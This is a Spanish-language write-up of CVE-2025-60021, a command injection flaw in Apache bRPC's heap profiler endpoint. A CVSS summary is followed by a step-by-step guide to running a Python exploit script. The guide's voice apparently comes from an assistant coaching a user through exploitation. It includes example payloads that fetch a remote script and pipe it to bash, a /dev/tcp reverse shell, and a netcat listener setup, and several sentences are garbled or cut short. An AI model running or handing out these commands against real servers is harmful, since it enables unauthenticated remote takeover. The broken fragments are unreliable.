
CVE-2025-60021

CVE-2025-60021 es una vulnerabilidad crítica de inyección remota de comandos encontrada en el servicio integrado de perfilado de heap (heap profiler) (/pprof/heap) de Apache bRPC en versiones anteriores a la 1.15.0, que permite a atacantes no autenticados ejecutar comandos arbitrarios del sistema operativo. ([NVD][1])
| Atributo | Información |
|---|---|
| Nombre / ID | CVE-2025-60021 |
| Producto | Apache bRPC (todas las plataformas) |
| Versiones afectadas | < 1.15.0 |
| Fecha de publicación | 16 ene 2026 ([NVD][1]) |
| Tipo de vulnerabilidad | Inyección remota de comandos (CWE-77) ([NVD][1]) |
| Endpoint | /pprof/heap |
| Disparador | Parámetro extra_options sin sanitizar |
| Causa raíz | Entrada no validada antes de ejecutarse como comando del sistema operativo ([openwall.com][2]) |
❗Los atacantes pueden inyectar comandos de forma remota simplemente manipulando este parámetro de perfilado.
🔥 Clasificación de gravedad: Crítica
📊 Puntuación base CVSS v3.1: 9.8 / 10
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H ([INCIBE][3])
| Categoría de impacto | Efecto | |
|---|---|---|
| Confidencialidad | Alta | |
| Integridad | Alta | |
| Disponibilidad | Alta | |
| Vector de ataque | Red | |
| Privilegios | No se requieren | |
| Interacción del usuario | No se necesita | ([INCIBE][3]) |
👉 Esto significa que los atacantes pueden ejecutar comandos arbitrarios de forma remota sin iniciar sesión: el peor escenario para los servicios expuestos.
/pprof/heap) destinado al análisis de memoria (jemalloc). ([openwall.com][2])extra_options. En lugar de sanitizarlo, bRPC lo pasa directamente al shell del sistema operativo. ([openwall.com][2])Esto asume que tienes el script guardado como CVE-2025-60021.py (aunque el CVE real es 2025-60021; siéntete libre de renombrarlo). Es un script de Python 3 para demostrar la vulnerabilidad de inyección remota de comandos en el heap profiler de Apache bRPC. Ejecútalo únicamente en sistemas que poseas o para los que tengas permiso explícito por escrito para realizar pruebas: explotar sin autorización es ilegal.
Entorno de Python: Asegúrate de tener Python 3 instalado (p. ej., 3.6+). El script utiliza módulos integrados además de requests y argparse (que son estándar o fáciles de instalar).
Instala las dependencias: Si aún no están presentes, instala la librería requests:
pip install requests
Configuración del objetivo: Necesitas un servidor Apache bRPC vulnerable:
http://localhost:8060 o una IP/puerto remotos).
Si pruebas localmente, configura una instancia vulnerable de bRPC (p. ej., mediante Docker o compilación desde el código fuente; consulta la documentación de Apache bRPC).Permisos: Ejecuta con sudo solo si es necesario para el acceso a la red o los privilegios; de lo contrario, basta con python3 normal.
Copia el código PoC que proporcioné antes en un archivo llamado CVE-2025-60021.py. Hazlo ejecutable si lo deseas:
chmod +x CVE-2025-60021.py
El script acepta dos argumentos posicionales obligatorios:
target: La URL del servidor bRPC vulnerable (p. ej., http://192.168.1.100:8060 o http://targets:8060; corrige cualquier error tipográfico, como un esquema faltante o un host no válido).cmd: El comando a ejecutar en el objetivo (p. ej., "id" para información del usuario, o algo más complejo como "curl http://your-server/reverse-shell.sh | bash" para una reverse shell). Usa && o ; para encadenar varios comandos.Abre una terminal (p. ej., en Kali Linux, ya que la estás usando) y ejecútalo con tu objetivo y comando. Ejemplos de comandos:
Prueba básica (obtener información del sistema):
sudo python3 CVE-2025-60021.py http://targets:8060 "id && whoami && uname -a"
Ejemplo de reverse shell (reemplaza your-listener-ip y el puerto; configura un listener como nc -lvnp 4444 primero):
sudo python3 CVE-2025-60021.py http://targets:8060 "bash -i >& /dev/tcp/your-listener-ip/4444 0>&1"
Si usas HTTPS o un puerto diferente, ajusta la URL en consecuencia (p. ej., https://target:443; el script lo maneja, pero añade --insecure si hay problemas de certificado).
Indicadores de éxito:
uid=0(root)... si ejecutó id).Indicadores de fallo (como lo que viste):
--enable_heap_profiler=true) y reinicia el servidor.cmd; inclúyelo siempre.echo "test" > /tmp/proof.txt) y verifica el archivo en el objetivo.; no funciona, prueba && o | para encadenar. Codifica en URL los caracteres especiales si es necesario (el script maneja la mayoría).